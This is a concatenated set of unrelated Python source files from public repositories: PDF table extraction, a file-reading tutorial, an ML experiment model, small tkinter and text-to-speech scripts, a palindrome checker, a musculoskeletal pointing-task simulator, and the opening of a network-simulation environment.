cur_text,\n\t\t\t\t\t\t\t'group_rect': group_rect,\n\t\t\t\t\t\t\t'range_idx': None,\n\t\t\t\t\t\t}\n\t\t\t\t\t\tword_groups.append(group_obj)\n\t\t\t\t\t\tcur_group = []\n\t\t\t\t\t\tcur_text = ''\n\t\t\t\t# --\n\n\n\t\t\t\ttable_line['word_groups'] = word_groups\n\t\t\t\ttable_line_groups.append(word_groups)\n\n\t\t\t\t\n\n\t\t\t\t#print('\\n')\n\t\t\t\t#[print(x['text']) for x in word_groups]\n\t\t\t\t#im.draw_rects([x['group_rect'] for x in word_groups], stroke=(255, 66, 144), fill=(255, 0, 46, 30))\n\t\t\t# --\n\n\n\t\t\t\"\"\"\n\t\t\t-- Create and seperate word group columns --\n\t\t\t\"\"\"\n\t\t\tx_range_list_prior = []\n\t\t\t# Each lines groups\n\t\t\t#for word_groups in table_line_groups:\n\t\t\tfor table_line in table_collection['table_lines']:\n\t\t\t\tword_groups = table_line['word_groups']\n\t\t\t\t# Groups on line\n\t\t\t\tfor word_group in word_groups:\n\t\t\t\t\tgroup_rect = word_group['group_rect']\n\t\t\t\t\t#new_x_range = (group_rect['x0'] - 1, group_rect['x1'] + 1, group_rect['top'], group_rect['bottom'])\n\t\t\t\t\tnew_x_range = (group_rect['x0'], group_rect['x1'], group_rect['top'], group_rect['bottom'])\n\t\t\t\t\texists = False\n\t\t\t\t\t#exists = True\n\n\t\t\t\t\t#'''\n\t\t\t\t\tfor idx, x_range_bit in enumerate(x_range_list_prior):\n\t\t\t\t\t\tx_range = x_range_bit[0]\n\t\t\t\t\t\tx_range_mid = (x_range[0] + x_range[1]) / 2\n\t\t\t\t\t\t# If mid of the group_rect being considered on this line is within the range of the any of the current ranges, or the other way round, take the max\n\t\t\t\t\t\tif new_x_range[0] == x_range[0] and new_x_range[1] == x_range[1]:\n\t\t\t\t\t\t\tnew_x_range = (min(new_x_range[0], x_range[0]), max(new_x_range[1], x_range[1]), min(new_x_range[2], x_range[2]), max(new_x_range[3], x_range[3]))\n\t\t\t\t\t\t\tx_range_list_prior[idx] = (new_x_range, x_range_bit[1] + 1)\n\t\t\t\t\t\t\t#word_group['range_idx'] = idx\n\t\t\t\t\t\t\texists = True\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t#'''\n\t\t\t\t\t\n\t\t\t\t\tif not exists:\n\t\t\t\t\t\tcurrent_len = len(x_range_list_prior)\n\t\t\t\t\t\t#word_group['range_idx'] = current_len\n\t\t\t\t\t\tx_range_list_prior.append((new_x_range,1))\n\t\t\t\t\t# --\n\t\t\t# --\n\n\t\t\t\n\t\t\tx_range_list = []\n\t\t\tfor table_line in table_collection['table_lines']:\n\t\t\t\tword_groups = table_line['word_groups']\n\t\t\t\t# Groups on line\n\t\t\t\tfor word_group in word_groups:\n\t\t\t\t\tgroup_rect = word_group['group_rect']\n\t\t\t\t\t#new_x_range = (group_rect['x0'] - 1, group_rect['x1'] + 1, group_rect['top'], group_rect['bottom'])\n\t\t\t\t\tnew_x_range = (group_rect['x0'], group_rect['x1'], group_rect['top'], group_rect['bottom'])\n\t\t\t\t\t#exists = False\n\t\t\t\t\ttotal_cover = 0\n\t\t\t\t\tfor idx, x_range_bit in enumerate(x_range_list_prior):\n\t\t\t\t\t\tx_range = x_range_bit[0]\n\t\t\t\t\t\t# If you cover them\n\t\t\t\t\t\tif x_range[0] - 2 > new_x_range[0] and x_range[1] + 2 < new_x_range[1] and x_range_bit[1] >= 2:\n\t\t\t\t\t\t\ttotal_cover += 1\n\t\t\t\t\t# --\n\t\t\t\t\tif total_cover < 2:\n\t\t\t\t\t\texists = False\n\t\t\t\t\t\tfor idx, x_range in enumerate(x_range_list):\n\t\t\t\t\t\t\tx_range_mid = (x_range[0] + x_range[1]) / 2\n\t\t\t\t\t\t\t# If mid of the group_rect being considered on this line is within the range of the any of the current ranges, or the other way round, take the max\n\t\t\t\t\t\t\tif (group_rect['x_mid'] >= x_range[0] and group_rect['x_mid'] <= x_range[1]) or (x_range_mid >= new_x_range[0] and x_range_mid <= new_x_range[1]):\n\t\t\t\t\t\t\t\tnew_x_range = (min(new_x_range[0], x_range[0]), max(new_x_range[1], x_range[1]), min(new_x_range[2], x_range[2]), max(new_x_range[3], x_range[3]))\n\t\t\t\t\t\t\t\tx_range_list[idx] = new_x_range\n\t\t\t\t\t\t\t\tword_group['range_idx'] = idx\n\t\t\t\t\t\t\t\texists = True\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\n\t\t\t\t\t\tif not exists:\n\t\t\t\t\t\t\tword_group['range_idx'] = len(x_range_list)\n\t\t\t\t\t\t\tx_range_list.append(new_x_range)\n\t\t\t# --\n\t\t\ttable_collection['column_ranges'] = x_range_list\n\n\t\t\ttable_columns_rects = []\n\t\t\tfor x_range in x_range_list:\n\t\t\t\trect_ = {'x0': x_range[0], 'x1': x_range[1], 'top': x_range[2], 'bottom': x_range[3]}\n\t\t\t\ttable_columns_rects.append(rect_)\n\t\t\t#im.draw_rects(table_columns_rects, stroke=(255, 66, 144), fill=(255, 0, 46, 30))\n\t\t\t# --\n\t\treturn\n\n\tdef create_subtable_dataframes(self):\n\t\t'''\n\t\tTurn the data from tables into dataframes useing the rows and columns generated.\n\t\t'''\n\t\tdf_list = []\n\t\tfor table_collection in self.table_collections:#columns\n\t\t\ttry:\n\t\t\t\tcolumn_ranges = table_collection['column_ranges']\n\t\t\t\tdf_rows = [[None] * len(column_ranges) for x in table_collection['table_lines']]\n\t\t\t\tdf_rows = np.array(df_rows)\n\t\t\t\tfor line_idx, table_line in enumerate(table_collection['table_lines']):\n\t\t\t\t\tword_groups = table_line['word_groups']\n\t\t\t\t\t# Groups on line\n\t\t\t\t\tfor word_group in word_groups:\n\t\t\t\t\t\trange_idx = word_group['range_idx']\n\t\t\t\t\t\tdf_rows[line_idx, range_idx] = word_group['text']\n\t\t\t\tcollection_df = pd.DataFrame(df_rows)\n\t\t\t\t#print(collection_df)\n\t\t\t\ttable_collection[\"df\"] = collection_df\n\t\t\t\tdf_list.append(collection_df)\n\t\t\texcept:\n\t\t\t\tprint('ERROR with dfs -- Search code 2336')\n\t\treturn df_list\n\n\n\n\t# ----------------------------------------------------------------------- #\n","repo_name":"tri2820/SuperScraper2021","sub_path":"Scraper/pdf_extraction.py","file_name":"pdf_extraction.py","file_ext":"py","file_size_in_byte":41057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36214161988","text":"# -*- coding: utf-8 -*-\n\"\"\"\nProgramming for Data Science\nWeek 4 Tutorial (IO Data Module)\n@author u3141210 (Aleksandar Draskovic)\n\"\"\"\n#Function to read 2D data from file and save data to a list of tuples\ndef read_data_file(filename):\n dataset = [] #dataset is a python list \n f = None\n try:\n f = open(filename, 'r')\n while True:\n line = f.readline()\n if len(line) == 0: #end of file\n break\n line = line.replace('\\n', '') #remove end of line \\n character\n xystring = line.split(' ') #x y coordinates in string format \n #use split function to separate x & y strings then \n #use float function to convert x & y strings to x & y numbers and \n #add them as a tuple (x, y) to dataset that is a list\n dataset.append((float(xystring[0]), float(xystring[1])))\n except Exception as ex:\n print(ex.args)\n finally:\n if f:\n f.close()\n return dataset\n#end of function\n\n#Question 2\n#define function\ndef find_nearest_neighbor(unknown_sample, data_list):\n distances = []\n for x, y in data_list:\n d = ((unknown_sample[0]-x)*(unknown_sample[0]-x) +\n (unknown_sample[1]-y) * (unknown_sample[1]-y))**0.5\n distances.append((x, y, d))\n distances.sort(key=lambda tuple: tuple[2]) \n nearest_d = distances[0]\n nearest_sample = nearest_d[0:2]\n return nearest_sample\n#end function","repo_name":"alekdras/Uni","sub_path":"PDC/PDC_Tutorials/Week4Tutorial/io_data_module.py","file_name":"io_data_module.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70228459762","text":"import datetime as dt\nimport dill\nimport sqlmodel\n\nfrom .base import Base\n\n\nclass Experiment(Base, table=True): # type: ignore[call-arg]\n # Attributes\n name: str = sqlmodel.Field(primary_key=True)\n model: bytes\n can_learn: bool = sqlmodel.Field(default=False)\n model_state: bytes | None = sqlmodel.Field(default=None)\n sync_seconds: int = sqlmodel.Field(default=20)\n start_from_top: bool = sqlmodel.Field(default=False)\n last_sample_ts: dt.datetime | None = sqlmodel.Field(default=None)\n project_name: str = sqlmodel.Field(default=None, foreign_key=\"project.name\")\n feature_set_name: str = sqlmodel.Field(foreign_key=\"feature_set.name\")\n\n # Relationships\n project: \"Project\" = sqlmodel.Relationship( # noqa: F821\n sa_relationship_kwargs={\"uselist\": False}\n )\n feature_set: \"FeatureSet\" = sqlmodel.Relationship( # noqa: F821\n back_populates=\"experiments\"\n )\n jobs: list[\"Job\"] = sqlmodel.Relationship( # noqa: F821\n back_populates=\"experiment\", sa_relationship_kwargs={\"cascade\": \"delete\"}\n )\n\n def get_model(self):\n return dill.loads(self.model_state)\n\n def set_model(self, model):\n self.model_state = dill.dumps(model)\n","repo_name":"online-ml/beaver","sub_path":"beaver/models/experiment.py","file_name":"experiment.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","stars":62,"dataset":"github-code","pt":"75"} +{"seq_id":"23286108074","text":"import tkinter as tk\n\nroot = tk.Tk()\nroot.title('Text field resizer')\n\n# Size controller frame\ncontroller = tk.Frame()\n\n# Input fields frame\nfields = tk.Frame(controller)\n\n# Width input field\nwidth = tk.Entry(fields, width=4)\n\n# Height input field\nheight = tk.Entry(fields, width=4)\n\n# Change button\ndef change_size(event):\n text['width'] = int(width.get())\n text['height'] = int(height.get())\n\nchange = tk.Button(controller, text='Change', command=lambda e=None: change_size(event=e))\n\n# Text field\ndef change_color(event):\n global text\n if str(event.type) == '9': # focus in\n text['bg'] = 'white'\n elif str(event.type) == '10': # focus out\n text['bg'] = 'lightgrey'\n\ntext = tk.Text()\n\ntext.bind('', change_color)\ntext.bind('', change_color)\n\n# Binding\nwidth.bind('', change_size)\nheight.bind('', change_size)\n\n# Packing\ncontroller.pack()\nfields.pack(side='left')\nwidth.pack()\nheight.pack()\nchange.pack(side='left')\ntext.pack(side='bottom')\n\n# Starting app\nroot.mainloop()\n","repo_name":"alexnegrya/Projects","sub_path":"Practice/Tkinter/Text_field_resizer/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"7903773397","text":"\"\"\"\nPDF to AudioBook Converter\n@author: TUSHAR\n\"\"\"\nimport pyttsx3 \nimport PyPDF2 as pdf\nfrom tkinter.filedialog import *\n\nbook = askopenfilename()\npdfreader = pdf.PdfFileReader(book)\npages = pdfreader.numPages\nprint(pages)\nfor num in range(0, pages):\n page = pdfreader.getPage(num)\n text = page.extractText()\n player = pyttsx3.init()\n player.say(text)\n player.runAndWait()\n","repo_name":"DPrinceKumar/HacktoberFest2020-1","sub_path":"Python/pdfToSpeech.py","file_name":"pdfToSpeech.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":88,"dataset":"github-code","pt":"75"} +{"seq_id":"41345024872","text":"# Return the reversal of an integer, e.g. reverse(456) returns 654\ndef reverse(number):\n input_list_reversed = []\n for x in range(1, len(number) + 1):\n input_list_reversed.append(number[len(number) - x])\n\n reverse_number = \"\"\n return reverse_number.join(input_list_reversed)\n\n\n# Return true if number is a palindrome\ndef is_palindrome(user_input):\n input_list = list(user_input)\n input_list_reversed = reverse(input_list)\n if input_list_reversed == user_input:\n return True\n else:\n return False\n\n\ndef main():\n print(\"\\nPalindromechecker 2.1\")\n while True:\n try:\n user_input = int(input(\"Enter integers to check for palindrome: \"))\n except (ValueError):\n print(\"Input not recognized as integers, try again.\")\n continue\n else:\n break\n\n if is_palindrome(str(user_input)) is True:\n print(f\"\\nYes, <{user_input}> is a palindrome!\\n\")\n else:\n print(f\"\\nSorry, <{user_input}> is not a palindrome.\\n\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"trombasso/Obligs-UiT-21-22","sub_path":"2021H/Oblig 2/O2_palindrome_heltall.py","file_name":"O2_palindrome_heltall.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"10834818915","text":"''' \nFunctions for running a ISO type pointing task.\n\nAuthors: Markus Klar\nDate: 11.2022\n'''\nfrom sim_mpc.core.simulator import Simulator\nimport sim_mpc.core.utils as utils\nimport sim_mpc.core.transferfunctions as tf\nimport sim_mpc.core.visualize_backend as vsb\n\nimport numpy as np\nimport pandas as pd\nfrom pathlib import Path\nimport logging as log\nimport os\n\n# Change current working directory to file directory\nos.chdir(Path(__file__).parent)\nlog.info(Path(__file__).parent)\n\nDIRNAME_STUDY = \"../data/study/\"\nDIRNAME_MODEL = \"../data/models/\"\nDIRNAME_RESULTS = \"../_results/\"\nDIRNAME_INITACTS = \"../data/initacts/\"\nTARGETFILE = \"../data/targets/iso_targets_15_plane.csv\"\n\n\ndef run_iso_task(participant, condition, costfct, paramfolder, outputprefix='simulation', createvideos=True, resettoexperiment=True, moveid=-1, totalid=-1, sim_premovement=False, verbosity=False, use_N = 8, use_r1=-1, use_r2=-1, use_noise_seed_add=0, use_noise=True, debugmode=False):\n\n # Check if data is available\n utils.check_study_dataset_dir(DIRNAME_STUDY)\n\n # Create Simulator for the correct model\n simulator = Simulator(f\"{DIRNAME_MODEL}/OriginExperiment_{participant}.xml\", participant)\n outputprefix += \"_\" + participant\n\n # Get paramfile\n paramfile = utils.get_paramfile(costfct, paramfolder)\n \n # Set the cost weights \n outputprefix = set_cost_weights(simulator, costfct, participant, paramfile, condition, outputprefix, use_r1, use_r2)\n\n if debugmode:\n simulator.param_dict[\"debugmode\"] = True\n simulator.param_dict[\"opts\"][\"disp\"] =True\n \n simulator.param_dict[\"displaysteps\"] = False\n simulator.param_dict[\"verbosity\"] = verbosity\n\n simulator.param_dict[\"max_iterations\"] = 30\n simulator.param_dict[\"N\"] = use_N\n outputprefix += f\"_N{use_N}\"\n simulator.param_dict[\"num_steps\"] = 20\n\n if use_r1 >= 0 and use_r2 >= 0:\n outputprefix += f\"_r_{use_r1:.8e}_r2_{use_r2:.8e}\"\n\n\n # Set termination at time step from user data\n if totalid >= 0:\n submovement_times = get_submovement_times(participant, condition)\n \n simulator.param_dict[\"terminate_at_timestep\"] = int((submovement_times[totalid][1]-submovement_times[totalid][0])//(simulator.param_dict[\"h\"]*simulator.param_dict[\"num_steps\"]))\n simulator.param_dict[\"continue_after_target_reach\"] = True\n \n simulator.param_dict[\"noise\"] = use_noise\n\n if simulator.param_dict[\"noise\"]:\n simulator.param_dict[\"signal_dependent_noise\"] = 0.103\n simulator.param_dict[\"constantnoise_param\"] = 0.185\n simulator.param_dict[\"noise_seed\"] = 1337 + use_noise_seed_add + moveid\n \n if simulator.param_dict[\"noise\"]:\n outputprefix += \"_noise\"\n \n simulator.param_dict[\"stay_at_target\"] = 0 \n \n simulator.param_dict[\"stoptol_vel\"] = 0.5\n\n \n # Outputfolder\n outputfolder = f\"{DIRNAME_RESULTS}/{participant}/{outputprefix}/{condition}\"\n\n # Get initial posture and activations\n Xqpos, Xqvel = get_init_postures(participant, condition)\n\n ACT, EXT = get_act_dact(participant, condition)\n\n # Setup targets\n # Get shoulder position from user data\n rotshoulder = get_init_shoulder(participant, condition) #getRotShoulder(param, Xqpos)\n \n numrepeats = 5\n skiptrials = 0\n\n # Skip already simulated movements\n while os.path.exists(\"{}/{}\".format(outputfolder, skiptrials)): \n skiptrials += 1\n\n targets, width = get_iso_targets(rotshoulder)\n \n\n simulator.param_dict[\"iso_targets\"] = True\n #simulator.param_dict[\"fittsgoals\"] = targets\n\n targets = targets * numrepeats\n width = width * numrepeats\n\n # Create output directory\n Path(outputfolder).mkdir(parents=True, exist_ok=True)\n \n # Get transferfunction used in the condition\n used_transfer = get_used_transfer(condition, simulator, rotshoulder)\n\n SSUCCESS = []\n \n if not resettoexperiment:\n xqpos = Xqpos[skiptrials] \n xqvel = Xqvel[skiptrials]\n \n # Run all movements subsequently\n if moveid < 0:\n for k in range(skiptrials, min(len(targets)-1, len(Xqpos))):\n if resettoexperiment:\n _, succ,_ = run_movement(simulator, targets[k+1], width[k+1], k, outputfolder, Xqpos[k], Xqvel[k], ACT[k], EXT[k], used_transfer, createvideos=createvideos)\n else:\n if k == skiptrials:\n # Use initial condition for first trial\n X, succ ,_ = run_movement(simulator, targets[k+1], width[k+1], k, outputfolder, xqpos, xqvel, ACT[k], EXT[k], used_transfer, createvideos=createvideos)\n else:\n X, succ,_ = run_movement(simulator, targets[k+1], width[k+1], k, outputfolder, X[-1].qpos, X[-1].qvel, ACT[k], EXT[k], used_transfer, createvideos=createvideos)\n \n SSUCCESS.append(succ)\n\n df = pd.DataFrame(SSUCCESS)\n df.to_csv(outputfolder + \"/SSUCCESS.csv\")\n\n \n # Run only one movement\n else:\n k = moveid\n gID = moveid\n \n if sim_premovement:\n \n simulator.param_dict[\"stoptol_pos\"] = width[k]\n \n simulator.param_dict[\"init_qpos\"] = xqpos\n simulator.param_dict[\"init_qvel\"] = xqvel\n X, QACC, U, XPOS, XVEL, XACC, TORQUE, JN, NFEV, COST, ACT, EXT, totaltime, succesfulstart = simulator.run_movement(used_transfer)\n\n if resettoexperiment:\n _, succ,_ = run_movement(simulator, targets[k+1], width[k+1], gID, outputfolder, Xqpos[totalid], Xqvel[totalid], ACT[totalid], EXT[totalid], used_transfer, createvideos=createvideos)\n else:\n log.error(\"Can't simulate single movement without reset to experiment start. Aborting.\")\n\n\ndef set_cost_weights(simulator, costfct, participant, paramfile, condition, outputprefix, use_r1, use_r2):\n\n if use_r1 < 0 and use_r2 < 0:\n # Obtain cost weights from param file\n paramcsv = pd.read_csv(paramfile)\n params = paramcsv.loc[paramcsv[\"condition\"]==condition].loc[paramcsv[\"participant\"]==participant]\n\n use_r1 = simulator.param_dict[\"r\"] = float(params[\"param_0\"])\n use_r2 = float(params[\"param_1\"])\n \n if costfct == \"JAC\":\n simulator.param_dict[\"r\"] = use_r1\n simulator.param_dict[\"acceleration_cost_weight\"] = use_r2 \n simulator.param_dict[\"acceleration_cost\"] = True\n outputprefix += \"_JAC\"\n elif costfct == \"CTC\":\n simulator.param_dict[\"r\"] = use_r1\n simulator.param_dict[\"commanded_tc_cost\"] = True\n simulator.param_dict[\"commanded_tc_cost_weight\"] = use_r2\n outputprefix += \"_CTC\" \n else:\n simulator.param_dict[\"r\"] = use_r1\n\n return outputprefix\n\n\ndef run_movement(simulator, target, width, gID, outputfolder, xqpos, xqvel, act, dact, used_transfer, createvideos, save_results=True):\n \n simulator.param_dict[\"stoptol_pos\"] = width \n \n simulator.param_dict[\"init_qpos\"] = xqpos\n simulator.param_dict[\"init_qvel\"] = xqvel\n\n simulator.activation = act \n simulator.d_activation = dact \n\n utils.adjust_thorax_constraints(simulator)\n \n simulator.param_dict[\"target\"] = target\n\n X, QACC, U, XPOS, XVEL, XACC, TORQUE, JN, NFEV, COST, ACT, EXT, totaltime, succesfulstart = simulator.run_movement(used_transfer)\n\n if save_results:\n log.info('saving...')\n out_folder = utils.export_simulation_to_csv(X, QACC, U, XPOS, XVEL, XACC, TORQUE, JN, NFEV, COST, ACT, EXT, simulator, totaltime, succesfulstart, outputfolder, \"{}\".format(gID))\n log.info(\"Result saved in \" + out_folder)\n \n if createvideos:\n log.info('visualizing...')\n vsb.visualize_run(out_folder)\n\n return X, succesfulstart, XPOS#\n\n\ndef get_iso_targets(rotshoulder):\n target_df = pd.read_csv(TARGETFILE, index_col=0)\n target_df.reset_index(inplace=True)\n target_df.rename(columns={\"0\": \"Target_x\", \"1\": \"Target_y\", \"2\":\"Target_z\", \"3\":\"Width\"}, inplace=True)\n\n targets = [np.array([-target_df[\"Target_x\"][k],target_df[\"Target_y\"][k],target_df[\"Target_z\"][k]]) + rotshoulder for k in range(len(target_df.index))]\n width = [target_df[\"Width\"][k] for k in range(len(target_df.index))]\n\n return targets, width\n\ndef get_act_dact(participant, condition): \n\n submovtimes = get_submovement_times(participant, condition)\n\n initial_ActEx_table = pd.read_csv(f'{DIRNAME_INITACTS}/{participant}_0.002s_initacts/{participant}_{condition}_CFAT_initacts.csv', dtype=float)\n\n initial_ActEx_table = initial_ActEx_table.dropna(subset=[cn for cn in initial_ActEx_table.columns if\n (cn.startswith('A_') or cn.startswith('Adot_')) and not cn.endswith('_cp')])\n\n initial_ActEx_table = initial_ActEx_table.iloc[[(initial_ActEx_table.time - i).abs().argsort()[0] for i in submovtimes[:, 0]]].set_index(\"time\")\n\n initial_ActEx_table = initial_ActEx_table[[cn for cn in initial_ActEx_table.columns if (cn.startswith('A_') or cn.startswith('Adot_')) and not cn.endswith('_cp')]] \n\n ACT = [initial_ActEx_table.loc[i][[col for col in initial_ActEx_table.columns if \"A_\" in col]].to_numpy() for i in initial_ActEx_table.index]\n # DACT = [initial_ActEx_table.iloc[initial_ActEx_table.index.get_loc(i)-1][[col for col in initial_ActEx_table.columns if \"Adot_\" in col]].to_numpy() for i in initial_ActEx_table.index]\n DACT = [initial_ActEx_table.loc[i][[col for col in initial_ActEx_table.columns if \"Adot_\" in col]].to_numpy() for i in initial_ActEx_table.index]\n\n return ACT, DACT\n\n\ndef get_init_postures(participant=\"\", condition=\"\"):\n\n indicesfile = f\"{DIRNAME_STUDY}/_trialIndices/{participant}_{condition}_SubMovIndices.npy\"\n xposfile = f\"{DIRNAME_STUDY}/IK/{participant}_{condition}.csv\"\n \n submovindices = np.load(indicesfile)\n xposdf = pd.read_csv(xposfile)\n \n jointnames = ['thorax_tx', 'thorax_ty', 'thorax_tz', 'thorax_rx', 'thorax_ry', 'thorax_rz', 'sternoclavicular_r2', 'sternoclavicular_r3', 'unrotscap_r3', 'unrotscap_r2', 'acromioclavicular_r2', 'acromioclavicular_r3', 'acromioclavicular_r1', 'unrothum_r1', 'unrothum_r3', 'unrothum_r2', 'elv_angle', 'shoulder_elv', 'shoulder1_r2', 'shoulder_rot', 'elbow_flexion', 'pro_sup', 'deviation', 'flexion', 'wrist_hand_r1', 'wrist_hand_r3']\n posnames = [jn + \"_pos\" for jn in jointnames]\n velnames = [jn + \"_vel\" for jn in jointnames]\n \n startingpoints = xposdf.iloc[submovindices[:,0]]\n\n Xqpos = [np.array(startingpoints[posnames].loc[index]) for index in startingpoints[posnames].index]\n Xqvel = [np.array(startingpoints[velnames].loc[index]) for index in startingpoints[velnames].index]\n for i in range(len(Xqvel)):\n Xqvel[i][:6] = np.zeros((6,))\n\n return Xqpos, Xqvel\n\n\ndef get_init_shoulder(participant, condition, ):\n experiment_file_name = f\"{DIRNAME_STUDY}/_trialData/Experiment_{participant}_{condition}.csv\"\n experiment_info = pd.read_csv(experiment_file_name)\n shoulder = np.array(experiment_info.loc[0, \"Shoulder.Position.x\":\"Shoulder.Position.z\"] * np.array([-1, 1, 1]), dtype=\"float\")\n return shoulder\n\ndef get_used_transfer(condition, simulator, rotshoulder):\n if \"Virtual_Cursor_Ergonomic\" in condition:\n simulator.param_dict[\"origin_i\"] = np.array([-0.1, -0.4, 0.45]) + rotshoulder\n simulator.param_dict[\"origin_o\"] = np.array([-0.1, 0, 0.55]) + rotshoulder\n simulator.param_dict[\"transferdilation\"] = 1\n\n F = [simulator.param_dict[\"origin_i\"], simulator.param_dict[\"origin_o\"], simulator.param_dict[\"transferdilation\"]]\n used_transfer = lambda sim,simulator: tf.outputspace_transfer(F, sim, simulator)\n elif \"Virtual_Pad_ID\" in condition:\n simulator.param_dict[\"point_i\"] = np.array([-0.1, 0, 0.55]) + rotshoulder\n simulator.param_dict[\"normal_i\"] = np.array([0, 0, -1])\n\n simulator.param_dict[\"point_o\"] = np.array([-0.1, 0, 0.55]) + rotshoulder\n simulator.param_dict[\"normal_o\"] = np.array([0, 0, -1])\n\n F = [simulator.param_dict[\"point_i\"], simulator.param_dict[\"normal_i\"], simulator.param_dict[\"point_o\"], simulator.param_dict[\"normal_o\"]]\n used_transfer = lambda sim,simulator: tf.plane_transfer(F, sim, simulator)\n elif \"Virtual_Pad_Ergonomic\" in condition:\n simulator.param_dict[\"point_i\"] = np.array([-0.1, -0.3, 0.55]) + rotshoulder\n simulator.param_dict[\"normal_i\"] = np.array([0, 0, -1])\n\n simulator.param_dict[\"point_o\"] = np.array([-0.1, 0, 0.55]) + rotshoulder\n simulator.param_dict[\"normal_o\"] = np.array([0, 0, -1])\n\n F = [simulator.param_dict[\"point_i\"], simulator.param_dict[\"normal_i\"], simulator.param_dict[\"point_o\"], simulator.param_dict[\"normal_o\"]]\n used_transfer = lambda sim,simulator: tf.plane_transfer(F, sim, simulator)\n else:\n used_transfer = tf.transfer_dflt\n \n return used_transfer\n\ndef get_submovement_times(participant, condition):\n submovement_indices = np.load(f\"{DIRNAME_STUDY}/_trialIndices/{participant}_{condition}_SubMovIndices.npy\")\n table_filename = f\"{DIRNAME_STUDY}/IK_raw/{participant}_{condition}.mot\"\n trajectories_table = pd.read_csv(table_filename, skiprows=10, delimiter=\"\\t\", index_col=\"time\")\n submovement_times = submovement_indices.astype('float64')\n submovement_times[:,0] = trajectories_table.iloc[submovement_indices[:,0]].index\n submovement_times[:,1] = trajectories_table.iloc[submovement_indices[:,1]].index\n\n\n return submovement_times\n","repo_name":"mkl4r/sim-mpc","sub_path":"sim_mpc/scripts/iso_task.py","file_name":"iso_task.py","file_ext":"py","file_size_in_byte":13494,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"38375388538","text":"from trafpy.generator.src import networks\nfrom trafpy.generator.src import tools\nfrom trafpy.generator.src.demand import Demand\n\nimport gym\nimport tensorflow as tf\nimport json\nimport numpy as np\nimport copy\nimport pickle\nimport bz2\nimport networkx as nx\nimport queue\nimport sys\nimport os\nimport shutil\nimport matplotlib.pyplot as plt\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\nimport matplotlib.animation as animation\nimport cv2\nimport io\nimport time\nimport pandas as pd\nfrom tabulate import tabulate\nimport pympler\nfrom pympler import tracker\nfrom sqlitedict import SqliteDict\n\nimport ray\nimport psutil\nnum_cpus = psutil.cpu_count(logical=False)\ntry:\n ray.init(num_cpus=num_cpus)\nexcept RuntimeError:\n # already initialised ray in script calling dcn sim, no need to init again\n pass\n\n\nclass DCN(gym.Env):\n\n def __init__(self, \n Network, \n slots_dict,\n Scheduler,\n num_k_paths,\n env_database_path=None,\n sim_name='dcn_sim',\n max_flows=None, \n max_time=None,\n time_multiplexing=True,\n track_grid_slot_evolution=False,\n track_queue_length_evolution=False,\n track_link_utilisation_evolution=True,\n track_link_concurrent_demands_evolution=True,\n profile_memory=False,\n memory_profile_resolution=10,\n gen_machine_readable_network=False):\n '''\n If time_multiplexing, will assume perfect/ideal time multiplexing where\n can schedule as many different flows per channel so long as sum of flow\n sizes <= maximum channel capacity. If time_multiplexing is False, assume\n no time multiplexing of flows occurs and therefore can only schedule\n one flow per channel.\n\n slots_dict can either be a slots_dict dictionary, or a str path to a\n pre-defined slots_dict database.\n\n To reduce memory usage, set tracking grid slot & queue length evolution\n to False\n\n If env_database_path is not None, will save dicts to database path specified.\n This can significantly reduce simulation RAM memory usage, thereby allowing\n for much larger simulations.\n\n If gen_machine_readable_network, will generate tensor representation\n of current network state at each step and return it in the obs\n dict. N.B. This process takes a long time (on the order of seconds) and\n will therefore greatly increase simulation time.\n\n max_time -> time at which to terminate simulation. If None, will run\n simulation untill all flows have both arrived and been completed. If\n 'last_demand_arrival_time', will terminate when last demand arrives.\n\n If profile_memory, will print out summary of memory usage change compared to previous print \n every memory_profile_resolution % periods of the\n total simulation time as defined by max_time. E.g. if memory_profile_resolution=10,\n will profile memory usage every 10% of max_time.\n '''\n self.sim_name = sim_name \n print('\\nInitialising simulation \\'{}\\'...'.format(self.sim_name))\n\n self.profile_memory = profile_memory\n self.memory_profile_resolution = memory_profile_resolution\n\n if self.profile_memory:\n print('profile_memory set to True. WARNING: Memory profiling can significantly increase simulation time, especially if memory_profile_resolution is low.')\n self.percent_sim_times_profiled = []\n print('Snapshotting memory...')\n start = time.time()\n self.tracker = tracker.SummaryTracker()\n self.tracker.print_diff()\n end = time.time()\n print('Snapshotted memory in {} s'.format(end-start))\n\n if env_database_path is not None:\n env_database_path += '/env_database'\n if os.path.exists(env_database_path):\n # delete dir\n shutil.rmtree(env_database_path)\n # create dir\n os.mkdir(env_database_path)\n self.env_database_path = env_database_path\n\n\n\n # init slots dict\n self.slots_dict = slots_dict\n if self.env_database_path is not None:\n # create slots dict database\n _slots_dict = self.env_database_path + '/slots_dict.sqlite'\n print('Establishing {} slots_dict tmp database...'.format(self.sim_name))\n start = time.time()\n if type(self.slots_dict) is str:\n print('Slots dict database already created. Copying database over to tmp database dir...')\n shutil.copyfile(self.slots_dict, _slots_dict)\n with SqliteDict(self.slots_dict) as slots_dict:\n self.slot_size = slots_dict['slot_size']\n self.job_centric = slots_dict['job_centric']\n self.num_demands = slots_dict['num_demands']\n self.num_flows = slots_dict['num_flows']\n slots_dict.close()\n else:\n print('No slots_dict database path given, only given slots_dict in memory. Creating slots_dict database...')\n with SqliteDict(self.slots_dict) as slots_dict:\n for key, val in slots_dict.items():\n if type(key) is not str:\n slots_dict[json.dumps(key)] = val\n else:\n slots_dict[key] = val\n self.check_if_pairs_valid(slots_dict)\n self.slot_size = slots_dict['slot_size']\n self.job_centric = slots_dict['job_centric']\n self.num_demands = slots_dict['num_demands']\n self.num_flows = slots_dict['num_flows']\n slots_dict.commit()\n 